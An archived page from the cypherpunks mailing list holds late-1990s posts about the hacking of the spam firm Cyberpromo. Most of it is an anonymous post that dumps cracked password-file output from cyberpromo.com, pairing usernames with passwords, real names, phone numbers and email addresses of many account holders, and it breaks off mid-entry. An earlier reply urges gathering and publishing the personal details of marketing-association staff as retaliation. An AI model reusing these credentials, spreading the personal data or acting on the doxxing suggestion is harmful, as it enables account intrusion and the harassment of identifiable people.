December 2003 - cypherpunks-legacy

Re: Cyberpromo hacked
by harka＠nycmetro.com 17 Dec '03

17 Dec '03

-----BEGIN PGP SIGNED MESSAGE----- -=> Quoting In:lharrison@mhv.net to Harka <=- In> At 05:00 AM 3/21/97 -0500, you wrote: > >http://www.anonymizer.com:8080/http://www.cyberpromo.com In> Cyberpromo is apparently blocking anonymizer's access to its In> page. It also had a statement that they believe they know the In> identity of the hacker which they have turned over to the In> authorities. Yes, have experienced the same thing. "Connection call failed". Seemingly a lot of people have checked out their (hacked) page anonymously and they must have disliked that idea a lot... Which brings out a whole new issue though: is there a way besides the Anonymizer to view a page anonymously? Ciao Harka /*************************************************************/ /* This user supports FREE SPEECH ONLINE ...more info at */ /* and PRIVATE ONLINE COMMUNICATIONS! --> http://www.eff.org */ /* E-mail: harka(at)nycmetro.com (PGP-encrypted mail pref'd) */ /* PGP public key available upon request. [KeyID: 04174301] */ /* F-print: FD E4 F8 6D C1 6A 44 F5 28 9C 40 6E B8 94 78 E8 */ /*<<<<<<<<<<<<<<<<<<<<<<<<<<<<<>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>*/ /* May there be peace in this world, may all anger dissolve */ /* and may all living beings find the way to happiness... */ /*************************************************************/ ___ Blue Wave/386 v2.30 [NR] -----BEGIN PGP SIGNATURE----- Version: 2.6.2 iQEVAgUBMzSWRDltEBIEF0MBAQHEOwf+PJjZl7cghkxE1FMIzemUQI4D7S3KlHpl /ADKegTj6H46LgxU8TJoKqihlS+mCrX8TqT4C3KsDinNBnjqDl6BoawndEjlKhke 4+miPz97k3iQArO/M3FxGU1bRtJO6r4fQl7up40awewC807z6228p8CZu5JwNALf ev7Rz1bzCqCdQUXGm47fFRimkNviYPut1IRwW2v0vdF1mncVNmWobGKZBuRDoSce 3+EXf5yxOZJvEaRjBYiZ0KvXSserH90tnLBg+4T+utLmw7QprpIiS/aBx4wxyDd+ fjT2yfKyzPUguy3+d5hQF0UXV3bsTiVqI6wHdldrKrp+WgIqn2vjPA== =SwHo -----END PGP SIGNATURE----- If encryption is outlawed, only outlaws will have encryption...

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Re: "why privacy" revisit
by harka＠nycmetro.com 17 Dec '03

17 Dec '03

-----BEGIN PGP SIGNED MESSAGE----- -=> Quoting In:jonathan@gaw.net to Harka <=- In> when i talk to people like the Direct Marketer's Assn., they honestly In> don't understand what the fuss is about. Their attitude is, quite In> literally, "What's the harm being done here?" In> what do you think the community interested in privacy protection can In> do to best illustrate to the general public the "harm" in the In> collection of personal information? Information warfare. Collect information about DMA people, using their own weapons against them. Then post it somewhere on the Internet via remailers and cc themselves, Reuters and the New York Times... Ciao Harka ___ Blue Wave/386 v2.30 [NR] -----BEGIN PGP SIGNATURE----- Version: 2.6.2 iQEVAgUBMzSWbzltEBIEF0MBAQFOzQf/SmUYerwG8oIDVe+PucyAybBAYpMBl+JT eDl21Bs0jVa2+UXm8zDKQVDIkz004bTgpyX6vzockZ8cTUkW1UJJucjUfAXln1yB HmdR9Go5mdurGbXf4QSN47nbfPc5V5sq8h7Ok2frFRqKLBejPSuEdP2pZo0OUPQD bf0lE3l5lgTKlYqOzHt7NqHNAlcx3l0FOpflF+RR5DbLllBrIP7XYodMLMv+NR3T V0oEk0woReL4+/O8iQ1oZuQ3MHNXkwCqR8w2wXnlou9ysfS58nTXgoNyFYKouGlN Kc1bV2/G6mrG8PziTd3MsTL4TjdcmkdphZWVouo1LrEuhd3J5B4dBw== =rbtn -----END PGP SIGNATURE----- If encryption is outlawed, only outlaws will have encryption...

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Save over 50% on Microsoft Office Pro 97 & Select Phone !!!
by dlane＠ultragrafix.com 17 Dec '03

17 Dec '03

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some /etc/passwd stuff from Cyberpromo
by Secret Squirrel 17 Dec '03

17 Dec '03

A little mouse just came into my house and said that the following uz3rz at cyberpromo.com have the following passwords: - Ignoramus. Guessed broot [<no-ciphertext>] System Administrator [etc_passwd.fixed /bin/csh] Guessed box12 [box12 [SINGER]] ,,, [etc_passwd.fixed /bin/tcsh] Guessed valscan [valscan [SINGER]] Michael Singer,,419-843-7055, [etc_passwd.fixed /bin/tcsh] Guessed box8 [box8 [SINGER]] ,,, [etc_passwd.fixed /bin/tcsh] Guessed greatsex [greatsex [SINGER]] Michael J. Singer,,419-843-7055, [etc_passwd.fixed /bin/tcsh] Guessed makemony [greatsex [SINGER]] Michael Singer,,419-843-7055, [etc_passwd.fixed /bin/tcsh] Guessed greatads [greatads [SINGER]] Michael J. Singer,,419-843-7055, [etc_passwd.fixed /bin/tcsh] Guessed vic [greatads [SINGER]] Michael J. Singer,,419-843-7055, [etc_passwd.fixed /bin/tcsh] Guessed box2 [box2 [SINGER]] [etc_passwd.fixed ] Guessed box7 [box7 [SINGER]] ,,, [etc_passwd.fixed /bin/tcsh] Guessed checknsee [checknsee [DISNEY]] Steve Dykstra,Check-n-See Network,413-283-6645, [etc_passwd.fixed /bin/tcsh] Guessed fixit [fixit [GEORGE]] Terry Judge,,216-745-9444,amerwtrprf(a)aol.com [etc_passwd.fixed /bin/tcsh] Guessed box9 [box9 [SINGER]] ,,, [etc_passwd.fixed /bin/tcsh] Guessed results [results [SINGER]] Michaek J. Singer,,419-843-7055, [etc_passwd.fixed /bin/tcsh] Guessed box10 [box10 [SINGER]] ,,, [etc_passwd.fixed /bin/tcsh] Guessed getrich [getrich [SINGER]] Michael J. Singer,,419-843-7055, [etc_passwd.fixed /bin/tcsh] Guessed box5 [box5 [SINGER]] ,,, [etc_passwd.fixed /bin/tcsh] Guessed box11 [box11 [SINGER]] ,,, [etc_passwd.fixed /bin/tcsh] Guessed box3 [box3 [SINGER]] Mike Singer,,, [etc_passwd.fixed /bin/tcsh] Guessed box4 [box4 [SINGER]] ,,, [etc_passwd.fixed /bin/tcsh] Guessed box6 [box6 [SINGER]] ,,, [etc_passwd.fixed /bin/tcsh] Guessed gics [gics [SINGER]] Michael J. Singer,,419-843-6100, [etc_passwd.fixed /bin/tcsh] Guessed julie [julie [SINGER]] Michael Singer,,, [etc_passwd.fixed /bin/tcsh] Guessed box1 [box1 [SINGER]] Michael Singer,, , [etc_passwd.fixed /bin/tcsh] Guessed action [action [SUCCESS]] Thomas Cox,,954-925-8132,dodger3(a)laker.net [etc_passwd.fixed /bin/tcsh] Guessed simple [simple [SOLUTION]] Larry Henry,Simple Solutions + Co. Inc,912-937-5606, [etc_passwd.fixed /bin/tcsh] Guessed winnernet [winnernet [SUCCESS]] Jon Bender,,peakpr4mer(a)aol.com, [etc_passwd.fixed /bin/tcsh] Guessed newma [newma [DANIEL]] Jay Schneiderman,,718-379-1197, [etc_passwd.fixed /bin/tcsh] Guessed coolbreeze [coolbreeze [SUCCESS]] Jon Bender,,peakpr4mer(a)aol.com, [etc_passwd.fixed /bin/tcsh] Guessed esi [esi [RICHARD]] Richard Damewood,,, [etc_passwd.fixed /bin/tcsh] Guessed freebook [freebook [JOSEPH]] Joe Dewey,Great Ad-Ventures,208-336-7520,joseph732(a)aol.com [etc_passwd.fixed /bin/tcsh] Guessed goldking [goldking [SPECIAL]] Daniel Sheehy,,707-822-8324, [etc_passwd.fixed /bin/tcsh] Guessed rav537 [rav537 [NATHAN]] Rich Verhoef,,509-882-4733, [etc_passwd.fixed /bin/tcsh] Guessed bfranklin [bfranklin [SUCCESS]] Jon Bender / Gary Roggles,,919-848-5698 Fax,peakpr4mer(a)aol.com [etc_passwd.fixed /bin/tcsh] Guessed ourcoinc [ourcoinc [PROSPER]] Sheryl Joyner,Ourco Inc.,301-931-0868, [etc_passwd.fixed /bin/tcsh] Guessed bfepro [bfepro [BFE5253]] Ben Ewing,BFE Enterprises,502-339-6356, [etc_passwd.fixed /bin/tcsh] Guessed moneyman [moneyman [SUZANNE]] Al Walentis,VG Productions,610-370-2340,cyber1(a)nni.com [etc_passwd.fixed /bin/tcsh] Guessed gfaiusa [gfaiusa [MONEY]] Cliff Durrett,,813-397-3120, [etc_passwd.fixed /bin/tcsh] Guessed exciting [exciting [SPECIAL]] Daniel Sheehey,,707-822-8324,djshee(a)aol.com [etc_passwd.fixed /bin/tcsh] Guessed autod [autod [GOGO]] Stephen Gregory,,512-388-0530, [etc_passwd.fixed /bin/tcsh] Guessed lifeinfo [lifeinfo [LIFE]] Pete Mckeown,Life Extension,303-985-4371,leipro(a)aol.com [etc_passwd.fixed /bin/tcsh] Guessed setmefree [setmefree [SECRET]] Steve Walker,The Financial Alliance,904-387-1628,plsfreeme(a)aol.com [etc_passwd.fixed /bin/tcsh] Guessed cowcr [cowcr [COWCR]] Dr. Cathy L. White-Owen MD,,216-844-5950,whatzmoney(a)aol.com [etc_passwd.fixed /bin/tcsh] Guessed gpwhitepaper [gpwhitepaper [FRED]] Ernest Orwig,Global Perspectives LLC,201-244-1200 x 239, [etc_passwd.fixed /bin/tcsh] Guessed accobra [accobra [ACCOBRA]] Glenn Pack,,, [etc_passwd.fixed /bin/tcsh] Guessed gasoline [gasoline [ANTHONY]] Mike Jacobellis,,,magnet(a)exp.net [etc_passwd.fixed /bin/tcsh] Guessed herpesinfo [herpesinfo [FREECTR]] Dr. Steve Yates,The Freedom Center,212-281-7397, [etc_passwd.fixed /bin/tcsh] Guessed richman [richman [SUZANNE]] Al Walentis,VG Productions,610-370-2340,cyber1(a)nni.com [etc_passwd.fixed /bin/tcsh] Guessed christian [christian [SUCCESS]] Jon Bender,peakpr4mer(a)aol.com,, [etc_passwd.fixed /bin/tcsh] Guessed goinfo [goinfo [GREEN]] Jim Hill,,609-926-9661, [etc_passwd.fixed /bin/tcsh] Guessed datalux [datalux [WALLACE2]] Carole Moses,Crestar Enterprises,516-223-3607,careve(a)aol.com [etc_passwd.fixed /bin/tcsh] Guessed matrix [matrix [MATRIX]] Martin Parker,,matrixfund(a)aol.com, [etc_passwd.fixed /bin/tcsh] Guessed sti [sti [FROGGY]] Alain Senac,,970-479-9757, [etc_passwd.fixed /bin/tcsh] Guessed wwjp [wwjp [TRAVEL]] Jeff Pinkus,,610-408-0386, [etc_passwd.fixed /bin/tcsh] Guessed team1 [team1 [SUCCESS]] Eric Gordon,,909-653-2357, [etc_passwd.fixed /bin/tcsh] Guessed genesisgroup [genesisgroup [BRYAN]] Barry Disney,,, [etc_passwd.fixed /bin/tcsh] Guessed telecomm [telecomm [PARADIGM]] Greg Scudder,,805-544-6251, [etc_passwd.fixed /bin/tcsh] Guessed goodchecks [goodchecks [RAINBOW]] Greg Beasley,National Payment Systems,614-792-9490, [etc_passwd.fixed /bin/tcsh] Guessed rpalm [rpalm [HAMMER]] Richard Palmer,Palmer Productions,510-685-7671, [etc_passwd.fixed /bin/tcsh] Guessed info4unow [info4unow [ASHLEY]] Marty Figgs,,302-633-4138, [etc_passwd.fixed /bin/tcsh] Guessed skeptics [skeptics [COWCR]] Dr. Cathy L. White-Owen MD ,,216-844-5950,whatzmoney(a)aol.com [etc_passwd.fixed /bin/tcsh] Guessed goodincome [goodincome [MARKETIN]] Ron Linkous,,804-741-4432,rlink15133(a)aol.com [etc_passwd.fixed /bin/tcsh] Guessed tgtbt [tgtbt [COWCR]] Dr. Cathy L. White-Owen MD ,216-844-5950,whatzmoney(a)aol.com, [etc_passwd.fixed /bin/tcsh] Guessed mailordman [mailordman [VICTOR]] Donald Wright,,800-772-0794, [etc_passwd.fixed /bin/tcsh] Guessed peteexcel [peteexcel [CAMERON]] Pete Maneos,,610-337-1468,newmedia30(a)aol.com [etc_passwd.fixed /bin/tcsh] Guessed higher [higher [SUCCESS]] Eric gordon,,909-653-2357,teammlm(a)earthlink.net [etc_passwd.fixed /bin/tcsh] Guessed gasinfo [gasinfo [ANTHONY]] Mike Jacobellis,\,,magnet(a)exp.net [etc_passwd.fixed /bin/tcsh] Guessed asomerset [asomerset [SOMERSET]] DIANNA GIBBS,,214 789-2940, [etc_passwd.fixed /bin/tcsh] Guessed childstory [childstory [SUCCESS]] Jon Bender,,peakpr4mer(a)aol.com, [etc_passwd.fixed /bin/tcsh] Guessed hokamix [hokamix [STERLING]] Michael Medefind,Aellen Enterprises,916-987-1234,meandre(a)christcom.net [etc_passwd.fixed /bin/tcsh] Guessed gab [gab [NEWLIFE]] Yvonne Orthmann,,508-428-9101, [etc_passwd.fixed /bin/tcsh] Guessed galatic [galatic [GALATIC]] Karl Thompsan,,317-933-2828, [etc_passwd.fixed /bin/tcsh] Guessed report [report [INTERNET]] Bryan Sullivan,,805 772-6188, [etc_passwd.fixed /bin/tcsh] Guessed mountain1 [mountain1 [SUCCESS]] Jon Bender,,peakpr4mer(a)aol.com, [etc_passwd.fixed /bin/tcsh] Guessed scanman [scanman [ASHLEY]] DAniel Goutas,,714-897-7542, [etc_passwd.fixed /bin/tcsh] Guessed bwealthy [bwealthy [SUCCESS]] Barry Disney,Network Marketing Group,513-554-4843, [etc_passwd.fixed /bin/tcsh] Guessed truthnet [truthnet [SUCCESS]] Jon Bender,,peakpr4mer(a)aol.com, [etc_passwd.fixed /bin/tcsh] Guessed essentials [essentials [SUSAN]] Susan Pottish,,415-453-9546,svand(a)aol.com [etc_passwd.fixed /bin/tcsh] Guessed laser1 [laser1 [FREEDOM]] Bud Riley,,612-224-8331, [etc_passwd.fixed /bin/tcsh] Guessed mother [mother [ANTHONY]] Mike and Amy Jacobellis,North Pole Magnet Co,409-840-9407,magnet(a)iosys.net [etc_passwd.fixed /bin/tcsh] Guessed freedom4u [freedom4u [SUCCESS]] Jon Bender,,peakpr4mer(a)aol.com, [etc_passwd.fixed /bin/tcsh] Guessed pyruvate [pyruvate [WHEELS]] Jerry Schneider,,,pyruvate(a)ournetwork.com [etc_passwd.fixed /bin/tcsh] Guessed acarnegie [acarnegie [SUCCESS]] Jon Bender,,peakpr4mer(a)aol.com, [etc_passwd.fixed /bin/tcsh] Guessed tatiana [tatiana [JOSEPH]] Jose Diaz,Diaz Specialty Merchandise,718-672-6225, [etc_passwd.fixed /bin/tcsh] Guessed gor [gor [GORAVANI]] Das Goravani,Goravani Astrological Services,800-532-6528 or 541-485-8453, [etc_passwd.fixed /bin/tcsh] Guessed somerset [somerset [SOMERSET]] Dianna Gibbs,,214-789-2940, [etc_passwd.fixed /bin/tcsh] Guessed wheels [wheels [WHEELS]] Tony Marsello,,,multichev(a)earthlink.net [etc_passwd.fixed /bin/tcsh] Guessed freeeagle [freeeagle [FREEDOM]] Joe Reynolds,,, [etc_passwd.fixed /bin/tcsh] Guessed team2 [team2 [SUCCESS]] Eric Gordon,,909-653-2357, [etc_passwd.fixed /bin/tcsh] Guessed aplus [aplus [STUDY]] Tim Ryan,A+ Tutors,603-659-5903, [etc_passwd.fixed /bin/tcsh] Guessed theraven [theraven [KABOOM]] Leonora Torian,,410-727-2611, [etc_passwd.fixed /bin/tcsh] Guessed lash [lash [ANTHONY]] bob Anthony / Larry Kirsch,,954-748-3510, [etc_passwd.fixed /bin/tcsh] Guessed career [career [CHOICE]] Jeanette Turner,,941-351-5804, [etc_passwd.fixed /bin/tcsh] Guessed giveinfo [giveinfo [VINCENT]] Vincent Garguilo,,718-256-0904,vinigar(a)peakaccess.net [etc_passwd.fixed /bin/tcsh] Guessed ournetwork [ournetwork [WHEELS]] Jerry Schneider,,206-588-0096,75020.2702(a)compuserve.com [etc_passwd.fixed /bin/tcsh] Guessed lightquest [lightquest [GORDON]] Gordon M. Curry,,972-431-4956,lightquest(a)aol.com [etc_passwd.fixed /bin/tcsh] Guessed visionpics [visionpics [RESPONSE]] Jason Kristofer,Visionary Pics,213-655-7666, [etc_passwd.fixed /bin/tcsh] Guessed wwjpwwjpwwjp [wwjpwwjpwwjp [TRAVEL]] Warren,,, [etc_passwd.fixed /bin/tcsh] Guessed jeffsmoney [jeffsmoney [JEFFSMON]] Jeff Jacobs,J+J Enterprises,212-290-4517,jeff(a)superteam.com [etc_passwd.fixed /bin/tcsh] Guessed global [global [DISCOVER]] Frank Martinez,Global TradeNetwork,515-279-5204, [etc_passwd.fixed /bin/tcsh] Guessed linktvmem [linktvmem [LINKTVME]] Ernie Lamonica,,702-828-9003, [etc_passwd.fixed /bin/tcsh] Guessed phone [phone [PHONE]] Susan Pottish,,415-453-9546,svamd(a)aol.com [etc_passwd.fixed /bin/tcsh] Guessed products [products [MOUNTAIN]] Joe Kuhn,,908-220-1110,qwikmail(a)raven.cybercomm.net [etc_passwd.fixed /bin/tcsh] Guessed tnoni [tnoni [HEALTH]] Michael Avenoso,Riverwood Health,501-253-2535,amstar7(a)aol.com [etc_passwd.fixed /bin/tcsh] Guessed stink [stink [GREATSEX]] Gary Fisher,,415-306-9466, [etc_passwd.fixed /bin/tcsh] Guessed judge [judge [VANELGOR]] Howard Van Elgort,,604-246-9114, [etc_passwd.fixed /bin/tcsh] Guessed beitall [beitall [DOITNOW]] Dr. Joy Rausonussen,,, [etc_passwd.fixed /bin/tcsh] Guessed infolink [infolink [BARRYD]] Ross Hines,,206-255-6185, [etc_passwd.fixed /bin/tcsh] Guessed bugbox [bugbox [BARRYD]] Ross Hines,,206-255-6185, [etc_passwd.fixed /bin/tcsh] Guessed seicom [seicom [Hubertt]] Hubert Trotman,Safari Equities Inc.,718-994-2801, [etc_passwd.fixed /bin/tcsh] Guessed yourreply [yourreply [REPORTS]] Vince Bedell,AAA Discount,702-564-9651,vince2602(a)aol.com [etc_passwd.fixed /bin/tcsh] Guessed wholesale [wholesale [CLONE]] Tom Cox,,954 925-8132, [etc_passwd.fixed /bin/tcsh] Guessed profitsnow [profitsnow [MATTG]] Matt Glaspie,,810-669-1564, [etc_passwd.fixed /bin/tcsh] Guessed freshair [freshair [BRADNEAR]] Brad Near,,, [etc_passwd.fixed /bin/tcsh] Guessed succeednow [succeednow [MARTINR]] Martin Ruiz,Golden Success,904-532-9753,martin(a)goldensuccess.com [etc_passwd.fixed /bin/tcsh] Guessed cmc [cmc [RANDYC]] Wayne Cook,712-252-2154,, [etc_passwd.fixed /bin/tcsh] Guessed contacts [contacts [MARTINRU]] Martin Ruiz,Golden Success,904-532-9753,martin(a)goldensuccess.com [etc_passwd.fixed /bin/tcsh] Guessed a1amway [a1amway [CLONE]] Tom Cox,,954 925-8132, [etc_passwd.fixed /bin/tcsh] Guessed bizinfo [bizinfo [FLIGHT]] Shawn Bogardus,Worldnet Data Services,301-926-6882, [etc_passwd.fixed /bin/tcsh] Guessed profitsonline [profitsonline [MATTG]] Matt Glaspie,,, [etc_passwd.fixed /bin/tcsh] Guessed gasmlm [gasmlm [GSCHMIDT]] Dr. George Schmidt,Gardens Eyecare,407-622-8200,Dr.Schmidt(a)usa.net [etc_passwd.fixed /bin/tcsh] Guessed infosoft [infosoft [BRANDY]] Jay Pinkus, ,215-953-8239, [etc_passwd.fixed /bin/tcsh] Guessed ion [ion [MATTG]] Matt Glaspie,ION,810-669-1564, [etc_passwd.fixed /bin/tcsh] Guessed mktamerica [mktamerica [CLONE]] Tom Cox,,954 925-8132, [etc_passwd.fixed /bin/tcsh] Guessed futureplan [futureplan [STMARTIN]] Tracy Dickson-Depaoli,Neways Inc.,604-526-6721, [etc_passwd.fixed /bin/tcsh] Guessed inside [inside [INFO1]] Mark A. Watts,Inside Access,503-612-0538,insideacc(a)aol.com [etc_passwd.fixed /bin/tcsh] Guessed healthnow [healthnow [HARRY1]] Thomas M. Cox,,dodger3(a)laker.net, [etc_passwd.fixed /bin/tcsh] Guessed sms [sms [HARRY1]] Suzanne Schnell,,206-953-9372, [etc_passwd.fixed /bin/tcsh] Guessed success1 [success1 [PROMO1]] GREG SCUDDER,,805-544-6251, [etc_passwd.fixed /bin/tcsh] Guessed yousave [yousave [HARRY1]] Thomas M. Cox,Reseller,954-925-8132, [etc_passwd.fixed /bin/tcsh] Guessed paulott [paulott [PAULOTT1]] Paul Ott,941-731-7855,pott123(a)aol.com, [etc_passwd.fixed /bin/tcsh] Guessed savenow [savenow [HARRY1]] Thomas M. Cox,Reseller,954-925-8132, [etc_passwd.fixed /bin/tcsh] Guessed utilizatt [utilizatt [FREEDOM2]] Joe Reynolds,Free Eagles Enterprises,, [etc_passwd.fixed /bin/tcsh] Guessed eric [eric [DIANE2]] Eric Lederman,,714-951-9027, [etc_passwd.fixed /bin/tcsh] Guessed contino [contino [CAREER4]] Carl Contino,First Family Internet Services,716-834-0057,contino(a)ffinternet.com [etc_passwd.fixed /bin/tcsh] Guessed emailfarmer [emailfarmer [RENERENE]] BARRY DISNEY,,, [etc_passwd.fixed /bin/tcsh] Guessed lighthouse [lighthouse [DATADATA]] Mimi Morissette,,503-203-1349, [etc_passwd.fixed /bin/tcsh] Guessed earthtrust [earthtrust [DATADATA]] Mimi Morressette,,503-203-8880, [etc_passwd.fixed /bin/tcsh] Guessed empire [empire [RENERENE]] Barry Disney,,, [etc_passwd.fixed /bin/tcsh] Guessed earthangels [earthangels [DATADATA]] Mimi Moiressette,,503-203-8880, [etc_passwd.fixed /bin/tcsh] Guessed futurenet [futurenet [DATADATA]] Mimi Morissette,,503-203-8880, [etc_passwd.fixed /bin/tcsh] Guessed lighthouses [lighthouses [DATADATA]] Mimi Morissette,,503-203-8880, [etc_passwd.fixed /bin/tcsh] Guessed astrology [astrology [DATADATA]] Mimi Morissette,,503-203-8880, [etc_passwd.fixed /bin/tcsh] Guessed bkinfo [bkinfo [RAYRAY]] Kareem Hassan,,216-439-1019,hawk7640(a)aol.com [etc_passwd.fixed /bin/tcsh] Guessed goldenaura [goldenaura [DATADATA]] ,,, [etc_passwd.fixed /bin/tcsh] Guessed shakespeare [shakespeare [DATADATA]] Mim i Morissette,,503-203-8880, [etc_passwd.fixed /bin/tcsh] Guessed rolyatge [rolyatge [DRAWDE]] George Taylor,,717-424-1816, [etc_passwd.fixed /bin/tcsh] Guessed rolyat [rolyat [DRAWDE]] George Taylor,Taylor Computerized Services,717-424-1816, [etc_passwd.fixed /bin/tcsh] Guessed details13 [details13 [111111]] Dave,Sheehan & Associates,,dave(a)ompd.com [etc_passwd.fixed /bin/tcsh] Guessed ompd [ompd [111111]] Dave Sheehan,,708-954-9101, [etc_passwd.fixed /bin/tcsh] Guessed detailsnow [detailsnow [000000]] Bob Wagner,,305-534-2769, [etc_passwd.fixed /bin/tcsh] Guessed remove3 [remove3 [111111]] Dave,Sheehan & Associates,773-277-2900,dave(a)ompd.com [etc_passwd.fixed /bin/tcsh] Guessed details14 [details14 [111111]] Dave,Sheehan & Associates,773-277-2900,dave(a)ompd.com [etc_passwd.fixed /bin/tcsh] Guessed details15 [details15 [111111]] Dave,Sheehan & Associates,773-277-2900,dave(a)ompd.com [etc_passwd.fixed /bin/tcsh] Guessed vlk9 [vlk9 [123456]] ,VLK9 Network,602-874-9247,kat187(a)juno.com [etc_passwd.fixed /bin/tcsh] Guessed details12 [details12 [111111]] Dave,Sheehan & Associates,773-277-2900,dave(a)ompd.com [etc_passwd.fixed /bin/tcsh] Guessed hitme [hitme [000000]] Bob Wagner,Amerinet,305-534-2769,amerinet(a)bridge.net [etc_passwd.fixed /bin/tcsh] Guessed mkiely [mkiely [12345]] Al Walentis,VG Productions,610-370-2340,cyber1(a)nni.com [etc_passwd.fixed /bin/tcsh] Guessed vlk9a [vlk9a [123456]] Nancy A Tietien,VLK9 Network,602-874-9247,kat187(a)juno.com [etc_passwd.fixed /bin/tcsh] Guessed lists [lists [JOSHUA]] Disney,,, [etc_passwd.fixed /bin/tcsh] Guessed website [lists [JOSHUA]] Barry Disney,Network Marketing Group Inc.,513-961-6022, [etc_passwd.fixed /bin/tcsh] Guessed morinfo [morinfo [CESSNA]] John Fraine,,941-732-1872,hirate(a)aol.com [etc_passwd.fixed /bin/tcsh] Guessed ragesking [ragesking [KIMMY]] Gary S. Kuzel,,630-985-5191,gskinc(a)aol.com [etc_passwd.fixed /bin/tcsh] Guessed pichx [pichx [DRAGON]] Bernhard Bowitz,,852-9-190-3688, [etc_passwd.fixed /bin/tcsh] Guessed srdindusry [srdindusry [SAILING]] Brian McDermott,SRD Corp.,860-295-8377, [etc_passwd.fixed /bin/tcsh] Guessed softcell [softcell [SOFTIE]] Adam Morgan / Softcell,,212-953-5234, [etc_passwd.fixed /bin/tcsh] Guessed glory [glory [HUMBOLDT]] Pamela Murphy,,901 784-6036, [etc_passwd.fixed /bin/tcsh] Guessed mybox [mybox [FORWARD]] Thomas Cox,,, [etc_passwd.fixed /bin/tcsh] Guessed xtraco [xtraco [ORANGES]] Joseph Ambrose,,800-247-0792 / 810-767-8405 / 810-767-1884,xtraco(a)cris.com [etc_passwd.fixed /bin/tcsh] Guessed eznrg [eznrg [DIAMOND]] Kim Krueger,,602-878-8812, [etc_passwd.fixed /bin/tcsh] Guessed a030253 [a030253 [SIERRA]] GEORGE NIELSEN,01133130324163,, [etc_passwd.fixed /bin/tcsh] Guessed egtech [egtech [JOSHUA]] Barry Disney,,, [etc_passwd.fixed /bin/tcsh] Guessed homelab [homelab [MIRACLES]] Mary Addams-Shaffer,,1-156-627-4551, [etc_passwd.fixed /bin/tcsh] Guessed mktginfo [mktginfo [MARTHA]] Robert Hutton,,,RHutton(a)mail.idt.net [etc_passwd.fixed /bin/tcsh] Guessed mikeplus2 [mikeplus2 [SNIFFY]] Mike Mormile,,334-298-4059, [etc_passwd.fixed /bin/tcsh] Guessed vistagroup [vistagroup [KODIAK]] George Gaul,The Vista Group,303-674-2256,captain(a)ecentral.com [etc_passwd.fixed /bin/tcsh] Guessed thanku [thanku [ELBOWS]] Doug Sutton,,, [etc_passwd.fixed /bin/tcsh] Guessed herbalpc [herbalpc [SPUNKY]] Pat Connolly / Joyce,,309-691-1762,herbalpc(a)ix.netcom.com [etc_passwd.fixed /bin/tcsh] Guessed testing [testing [MIRACLES]] Mary Addams-Shaffer,,1-156-627-4551, [etc_passwd.fixed /bin/tcsh] Guessed wolfgang [wolfgang [OLIVER]] Bui VaneLinde,,, [etc_passwd.fixed /bin/tcsh] Guessed llgun [llgun [LOKEY]] Lois Gunnerson,Dynamic Marketing Group,602-949-0031, [etc_passwd.fixed /bin/tcsh] Guessed xpres [xpres [LANSING]] Shawn Sageghieh,Email Express,714-568-9688,714-443-4559 [etc_passwd.fixed /bin/tcsh] Guessed give [give [TUCKER]] Jay Holtman,,312-666-4956, [etc_passwd.fixed /bin/tcsh] Guessed zen [zen [KITTY]] Joe Zielinski,Z Lite,708-720-4929, [etc_passwd.fixed /bin/tcsh] Guessed mustsee [mustsee [JACKSON]] Tom Cox,,954-925-8132,dodger3(a)laker.net [etc_passwd.fixed /bin/tcsh] Guessed aopptun [aopptun [BENNIE]] AMOS FISHER,,, [etc_passwd.fixed /bin/tcsh] Guessed amnat3 [amnat3 [PARROT]] Lenn Feldmann,,914-351-5051, [etc_passwd.fixed /bin/tcsh] Guessed hologram [hologram [PHONECAR]] Mimi Morissette,,503-203-8880, [etc_passwd.fixed /bin/tcsh] Guessed injuredjoe [injuredjoe [CAPTAIN]] Todd Syska,,914-266-8322, [etc_passwd.fixed /bin/tcsh] Guessed healthy4u [healthy4u [BEGIN]] Betty M. Colombo,healthyu(a)juno.com,516-541-3001,516-541-3079 [etc_passwd.fixed /bin/tcsh] Guessed tntalgae [tntalgae [FROSTY]] Todd Thompson,,303-765-5950, [etc_passwd.fixed /bin/tcsh] Guessed gks [gks [DANCER]] Callie Goodrum,GKS Enterprises,706-554-6181, [etc_passwd.fixed /bin/tcsh] Guessed praetor [praetor [TEMP]] Dave Browning,,, [etc_passwd.fixed /bin/tcsh] Guessed midstateop [midstateop [SPIKE]] Terry Eisenberg,,717-741-1159, [etc_passwd.fixed /bin/tcsh] Guessed extractor [extractor [JOSHUA]] Barry Disney,,, [etc_passwd.fixed /bin/tcsh] Guessed lorios [lorios [DOLORES]] Al Brooks,,619-487-9664, [etc_passwd.fixed /bin/tcsh] Guessed zitbuster [zitbuster [ARTURO]] Art Sel Barrio,Art *Del* Barrio,210-581-7163, [etc_passwd.fixed /bin/tcsh] Guessed showcase [showcase [MIDAS]] Bill Panchuck,,810-674-0444, [etc_passwd.fixed /bin/tcsh] Guessed ableman [ableman [SEESAW]] Barry G. Swenson / Reg Hardy,Able Co. Services Inc.,954-565-0270,954-563-1767 [etc_passwd.fixed /bin/tcsh] Guessed infotape [infotape [STARFISH]] Delbert Rohm,,509-332-6308, [etc_passwd.fixed /bin/tcsh] Guessed thegreen [thegreen [PEPPER]] Mark Olynyk,Green Pages,201-785-0024, [etc_passwd.fixed /bin/tcsh] Guessed aperillo [aperillo [BUNNER]] Anthony Perillo,,516-822-6395, [etc_passwd.fixed /bin/tcsh] Guessed csn [csn [BASKETBA]] Mike Mullen,ProBasketball Electronic Services,941-365-HOOP,hoops(a)kudos.net [etc_passwd.fixed /bin/tcsh] Guessed secret [secret [ALEXANDR]] Thomas Cox,,954-925-8132,dodger3(a)laker.net [etc_passwd.fixed /bin/tcsh] Guessed details [details [SKIPPY]] ,Kevin Griffith,770-967-0726, [etc_passwd.fixed /bin/tcsh] Guessed biznews [biznews [DRAGON]] Linda Bruton,,510-704-1466, [etc_passwd.fixed /bin/tcsh] Guessed hummingbrd [hummingbrd [CLOVER]] gil Gerald,Gil Gerald And Associates,213-953-7980, [etc_passwd.fixed /bin/tcsh] Guessed minesh [minesh [ASHWIN]] A. Bhindi,Ambassador Finance,011-44-0081-597-1262,ashinuk(a)aol.com [etc_passwd.fixed /bin/tcsh] Guessed JBA1231 [JBA1231 [STARSHIP]] Jorge Acevedo,,212-856-7658, [etc_passwd.fixed /bin/tcsh] Guessed freelance [freelance [SELINA]] Bob Thompson,,864-232-0743, [etc_passwd.fixed /bin/tcsh] Guessed univer [univer [PIPER]] James Rockwell,,909-466-1411, [etc_passwd.fixed /bin/tcsh] Guessed rhutton [rhutton [MARTHA]] Robert Hutton,Marketing Concepts,212-333-3131, [etc_passwd.fixed /bin/tcsh] Guessed agape [agape [LOGOS]] 